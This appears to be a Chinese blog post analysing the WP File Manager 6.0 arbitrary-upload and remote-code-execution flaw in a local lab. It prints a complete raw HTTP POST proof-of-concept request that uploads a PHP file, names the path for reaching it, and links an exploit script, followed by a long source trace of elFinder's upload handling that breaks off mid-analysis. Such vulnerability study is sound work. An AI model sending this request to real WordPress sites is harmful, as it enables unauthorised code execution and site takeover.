WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把WordPress当作一个内容管理系统(CMS)来使用。
文件管理器允许您直接从WordPress后端编辑,删除,上载,下载,压缩,复制和粘贴文件和文件夹。不必费心使用FTP来管理文件和从一个位置移动文件。有史以来功能最强大,最灵活,最简单的WordPress文件管理解决方案!
安全人员进行调查时,很快发现WordPress插件WPFileManager中存在一个严重的0day安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程执行代码。
攻击者可能会做任何他们选择采取的行动–窃取私人数据,破坏站点或使用该网站对其他站点或基础结构进行进一步的攻击。
WordPress5.4.1下载地址
https://cn.wordpress.org/wordpress-5.4.1-zh_CN.tar.gz
wp-file-manager6.0下载地址:
公众号内回复“wordpress插件”
用phpstudy搭建WordPress,安装插件
POC:
POST /wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php Content-Type: multipart/form-data; boundary=—————————402078532114344024151352374707 Content-Length: 465 Origin: http://127.0.0.1 Connection: close Cookie: PHPSESSID=184sec57d1sltqv23haagn3574;
—————————–402078532114344024151352374707 Content-Disposition: form-data; name=”upload[0]”; filename=”1.php” Content-Type: image/jpeg
123213123 —————————–402078532114344024151352374707 Content-Disposition: form-data; name=”cmd”
upload —————————–402078532114344024151352374707 Content-Disposition: form-data; name=”target”
l1_Lw== —————————–402078532114344024151352374707– |
访问
/wordpress/wp-content/plugins/wp-file-manager/lib/files/1.php
EXP脚本:
https://github.com/xDro1d/wp-file-manager
修改数据包中target的值,发送POC出现错误,返回以下情况:
对比这三个POC,唯一的不同之处在于一个target之后是”l1_Lw==”,一个之后是”11_Lw==”,还有一个之后是”t1_Lw==”那么问题究竟出在了哪里?
首先数据包最早由connector.minimal.php接收,接收到数据包中的各个参数,这里走了一些弯路,但还是应该写出来
之后connector.minimal.php文件开始执行,首先判断“./vendor/autoload.php”是否可读,如果可读包含“./autoload.php”,执行autoload.php文件
看下autoload.php文件的代码,首先给“ELFINDER_PHP_ROOT_PATH”赋值为当前文件绝对地址
接着执行autoload.php文件最后的if判断
判断php的版本,如果版本再5.3之上,那么执行,补充知识点:
spl_autoload_register 是一个实现自动加载类的函数,自动加载类就是我们在new一个class的时候,不需要手动去写require来导入这个class.php文件,程序自动帮我们加载导入进来,而传入spl_autoload_register加载类函数的参数为将要new的类名
此时返回connector.minimal.php,elFinder
静态引用类将elFinder的$netDrivers数组初始化,将’FTP’赋值给’ftp’,接着往下执行
elFinder未被引入到当前文件,那么开始执行autoload.php的elFinderAutoloader方法,因为要实例化elFinder类,所以传入elFinderAutoloader的值为elFinder
接着走,$map自不用去看,都是人家写好的
首先$name,在数组$map中是存在的,那么include_once这个name所对应的类名,这里是elFinder,然后是newelFinder,自然是要先执行它的构造函数,给该对象的构造函数传入的参数为connector.minimal.php的$opts数组
接着看elFinder的构造函数
现将默认的编码集设置为UTF-8,然后定义服务器命令接收的各种常量
此处省略位运算,只需要知道最后$errLevel的值为32266就行,接着给全局变量加入数组键“elFinderTempFps”,“elFinderTempFiles”,值都为空数组
接着$_SERVER[‘PATH_INFO’]为空,直接将这个对象的引用给了elFinder类的$instance变量
接着debug经过$opt中的值判断为false,检测”elFinderSessionInterface”接口是否已经被定义,如果定义,将这个php文件包含到文件中
将这个文件包含到文件中之后判断$opts的数组中session是否存在,然而$opts数组中并没有session键
执行else,else给$sessionOpts进行赋值,接着判断elFinderSession是否被引入,如果没有将它包含进来,然后初始化一个elFinderSession对象,elFinder对象的session引用这个对象
既然newelFinderSession那就要执行它的构造方法
看下此时$opts参数的值:
接着$this->session->start()方法执行
start方法用于设置自定义错误处理函数,之后进入下一个if判断语句
$fixCookieRegist的值为false,之后PHP_VERSION使用的是5.4以上版本
关于session_status的解释:
PHP_SESSION_DISABLED 会话是被禁用的
PHP_SESSION_NONE 会话是启用的,但不存在当前会话
PHP_SESSION_ACTIVE 会话是启用的,而且存在当前会话
看这代码的意思就是开启一个新的会话,给定Session ID值
if还没完了,挨个看吧
给$sessionUseCmds赋值,判断$opts[‘sessionUseCmds’]是否存在,是否是数组,如果满足,将两个数组合并为一个数组。
之后直接跳过判断HTTP_X_ELFINDER_VOLUMESCNTSTART的if语句,因为不存在。
执行utime方法,返回值给了time变量,剩下的一大堆也说不了,如果用了就用的时候说,于是重新捋思路,直接从elFinderConnector构造方法完毕之后的run方法开始(我才知道为什么之前分析的大哥不直接跟进elFinder的初始化,因为东西真的太多了)
跟进run
首先判断是否是POST方法传入数据,接着合并数组至$src
$maxInuptVars = null,而$src本身存在,所以直接跳过大段的if语句,直接到
给全局变量赋值这里,$_REQUEST的值变为
接着直接看第一个if语句,不会执行,因为$src没有targets参数
第二个if语句判断json_encode方法是否可用,在之后看flFinder->loaded方法,这里返回true,又跳出这个if语句
$cmd肯定存在值,$ifPost为true,所以不执行该if语句中的内容
此处的$cmd为upload
此处判断elFinder类中是否有upload方法,结果是有的
所以if语句又不会执行,看之后的foreach
首先commandArgsList方法跟进
这里着重看下commands数组中upload元素的内容,由$list引用
upload => array(target => true, FILES => true, mimes => false, html => false, upload => false, name => false, upload_path => false, chunk => false, cid => false, node => false, renames => false, hashes => false, suffix => false, mtime => false, overwrite => false, contentSaveId => false)
也是个数组,在之后将$list的reqid元素设置为false,然后返回$list
$list第一键值肯定不是FILES,所以跳过第一个if语句,而第一个target又存在于$src数组中
将target的值给了$arg,再移除$arg的空白字符和其他预定义字符
之后将$arg放入$args的数组中,键名为target,然后第二次foreach循环开始
第二个$list的元素肯定是FILES了,且FILES=true,于是执行第一个if语句
$hasFiles=true
这两个循环之后就没有什么可说的了,将每个$list的元素写入到$args中,只是值为false的变成了‘’
$args中debug元素是存在的,所以debug元素的值被设置为false
然后看elFinderConnector的input_filter方法
因为这里的php版本大于5.4所以$magic_quotes_gpc的值为false,$args肯定是数组,然后使用这个if语句之后对每个元素进行字符过滤
再之后对将上传文件的信息给了$args数组中的FILES元素,接着执行elFinder对象的exec函数
在exec函数中判断完session以及是否可以进行上传操作之后开始判断
将$args中target元素的值给了$dst,将$dst作为参数